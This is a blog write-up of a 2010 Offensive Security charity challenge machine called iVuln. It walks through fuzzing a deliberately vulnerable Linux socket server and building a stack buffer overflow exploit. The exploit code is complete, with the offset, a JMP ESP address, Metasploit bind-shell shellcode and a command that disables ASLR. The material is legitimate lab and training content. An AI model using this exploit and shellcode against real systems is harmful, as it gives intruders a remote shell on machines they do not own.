How strong is your fu for charity – iVuln Writeup

On June 19th 2010 I attended the Offensive Security How strong is your fu for charity” challenge , The objectives were to pawn 5 machines in 48 hours time frame.

After some enumeration and rumors on the IRC channel it became clear to me that the easiest machine to pawn was the 192.168.x.200 (named iVuln),  a UBUNTU based Linux distribution running an apache server  on port 80 (among other ports) which had a directory listing with 2 files: vuln and vuln.c .

Taking a look at the vuln.c i figured it was a simple Linux based server program that I’ll need to fuzz and write an exploit for.

I took the Offsec PWB version 2 and CTP (and WiFu) courses, There I learned the basics of windows based buffer overflows,  Never really had a chance to get to Linux based though…I had no choice but to go for it….

After reading some articles I figured this case wasn’t so different from what I’ve learned, I started to play around with the GDB and Evans debuggers on my bt4 laptop.

I actually wasn’t able to exploit the server successfully during the challenge, I spent most of the 48 hours in learning, debugging and researching for the reasons I’m failing to execute the shellcode .

The winners (Sinn3er and TecR0c)  solutions has been already posted here

After going through their documentations i realized that in order to exploit other machines at lab I didn’t had a choice but to get the iVuln machine first in order to be able to move on…

What really bothered me was the fact that I did all steps correctly and theoretically my exploit should have worked.

I took Sinn3er and TecR0c exploit code and launched it against my machine and it didn’t worked for me either.

This post will discuss the process of discovering the vulnerability, development of the exploit and my painful discovery of why my attempts to execute the shellcode has failed.

1.Testing the vuln.c server:

Looking at the vuln.c source revealed  its listening port:

#define LISTENPORT 7500
#define BACKLOG 10
#define MSG "Socket Connected"

Ran the server and verified that it listening on port 7500 using the  netstat command .

root@Blackbox:~/HSIYF# ./vuln
root@Blackbox:~/HSIYF# netstat -antp | grep vuln
tcp 0 0 0.0.0.0:7500 0.0.0.0:* LISTEN 17176/vuln

Connected using netcat and sent the string “test” to server

root@Blackbox:~# nc -vvn 127.0.0.1 7500
(UNKNOWN) [127.0.0.1] 7500 (?) open
Socket Connected Test
root@Blackbox:~/HSIYF# ./vuln
got connection from 127.0.0.1
Your message is " Test
a·¤ëw·ô¯y·üëw·"

The server print out the test message

By examining the source code i noticed the server expects 256 bytes of buffer input

int handle_reply(char *str)
{

char response[256];

strcpy(response,str);

printf("Your message is "%s"n",response);

return 0;

}

I decided to fuzz the server anyway for fun.

2.Creating a simple spike file for fuzzing:

s_string_variable(" ");
s_string("rn");

3. Fuzzing the server

root@Blackbox:/pentest/fuzzers/spike# ./generic_send_tcp 127.0.0.1 7500 vuln.spk 0 0
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Couldn't tcp connect to target
Variablesize= 21
tried to send to a closed socket!
Segmentation fault
root@Blackbox:~/HSIYF# ./vuln
got connection from 127.0.0.1
Your message is "
·`Ó·¤[s·ôu·ü[s·"
got connection from 127.0.0.1
Your message is "/.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Segmentation fault

4. Exploit Development

Recreating the crash using python

#!/usr/bin/python

import socket
host = "127.0.0.1"
port = 7500

buffer="\x41"*1000

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "n[+] Sending Payload..."
s.connect((host,port))
data=s.recv(1024)
print "[+]" + data
s.send(buffer)
data=s.recv(1024)
print "[+]" + data
s.close()
print "Done!"
root@Blackbox:~/HSIYF# python poc.py
[+] Sending Payload...
[+]Socket Connected
[+]
Done!
root@Blackbox:~/HSIYF# ./vuln
got connection from 127.0.0.1
Your message is "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Segmentation fault

Examining the crash in Evans debugger :

Executed the server again…

Launched Evans debugger and attached the vuln process

The server crashed and EIP was overwritten with 0x41414141

Creating a unique string using msf tools in order to find where EIP gets overwritten:

root@Blackbox:~/HSIYF# cd /pentest/exploits/framework3/tools/
root@Blackbox:/pentest/exploits/framework3/tools# ./pattern_create.rb 1000 >> /root/HSIYF/poc.py

Updating the python POC code:

#!/usr/bin/python

import socket
host = "127.0.0.1"
port = 7500

buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "n[+] Sending Payload..."
s.connect((host,port))
data=s.recv(1024)
print "[+]" + data
s.send(buffer)
data=s.recv(1024)
print "[+]" + data
s.close()
print "Done!"

Sending it again to evans dbg

Finding the offset using msf and updating the python code

root@Blackbox:/pentest/exploits/framework3/tools# ./pattern_offset.rb 6a413969 1000
268
#!/usr/bin/python

import socket

host = "127.0.0.1"
port = 7500

junk="\x41" * 268
eip="\x42\x42\x42\x42"
nops="\x90" * 500
buffer=(junk+eip+nops)

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "n[+] Sending Payload..."
s.connect((host,port))
data=s.recv(1024)
print "[+]" + data
s.send(buffer)
data=s.recv(1024)
print "[+]" + data
s.close()
print "Done!"

EIP was overwritten with 0x42424242 which means the calculation is ok

ESP points to the nops

Finding a JMP ESP Return address

Found a JMP ESP in the source code:

int jmp(void){
__asm__("jmp %esp");
return 0;
}
root@Blackbox:~/HSIYF# msfelfscan -j esp vuln
[vuln]
0x0804866a jmp esp

Creating the shellcode using msf

root@Blackbox:~/HSIYF# msfpayload linux/x86/shell_bind_tcp c
/*
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* LPORT=4444, RHOST=, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependChrootBreak=false, AppendExit=false,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

Updating the python code with the JMP ESP Return address and the shellcode

#!/usr/bin/python

import socket

host = "127.0.0.1"
port = 7500

junk="\x41" * 268
eip="\x6a\x86\x04\x08"
nops="\x90" * 16

shellcode=("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80")

buffer=(junk+eip+nops+shellcode)

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "n[+] Sending Payload..."
s.connect((host,port))
data=s.recv(1024)
print "[+]" + data
s.send(buffer)
data=s.recv(1024)
print "[+]" + data
s.close()
print "Done!"

Setting a breakpoint for the JMP ESP address 0x6a413969

After execution of the exploit got a hit at the breakpoint and ESP holds the nops and shellcode

everything looks good up to this point.

Passing the exception gives a segmentation fault

Testing the exploit outside debugger and I also got a segmentation fault :0

I spent many hours trying to figure out what went wrong…

Although I used  a JMP ESP return from the binary itself i decided to play it safe and disable the randomize_va_space protection

root@Blackbox:~/HSIYF# echo "0" > /proc/sys/kernel/randomize_va_space

Still no change hasn’t been able to execute the shellcode.

Although I didn’t manage to get it by the end of the challenge I learnt a lot about Linux exploitation techniques.

I was still curious about the reason my exploit and even the Sinn3r and TecR0c exploit wouldn’t work .

I thought it might have been something to do with my Backtrack4 kernel version which I updated a week or two before the challenge to 2.6.34-rc6.

Went on the IRC  to the #offsec channel to see if any of the guys there have an idea what is wrong with my code/system,  got a chance to check it with Lincoln,  a Corelan team member who checked the code by sinn3r on the same kernel version i use and it worked well for him.

He suggested i’ll try to use a fresh copy or a live cd of BT4 for checking that issue

I booted up the BT4 iso into Virtualbox and tested my exploit on kernel 2.6.30.9

And………..it worked, damn !!!


Well it turns out something was wrong with my BT4 which prevent the shellcode from executing properly.
The moral of this story is, Use a clean system before taking an offsec challenge/exam even better use a vmware/virtualbox and keep snapshots of the system.

How strong is your fu for charity – iVuln solution from exploit on Vimeo.

Refrences:
iVuln Related:
Linux Buffer overfllows information:

Post to Twitter

One Comment


  1. oz
    Oct 07, 2010

    Amazing post, thanks alot.

Recent Posts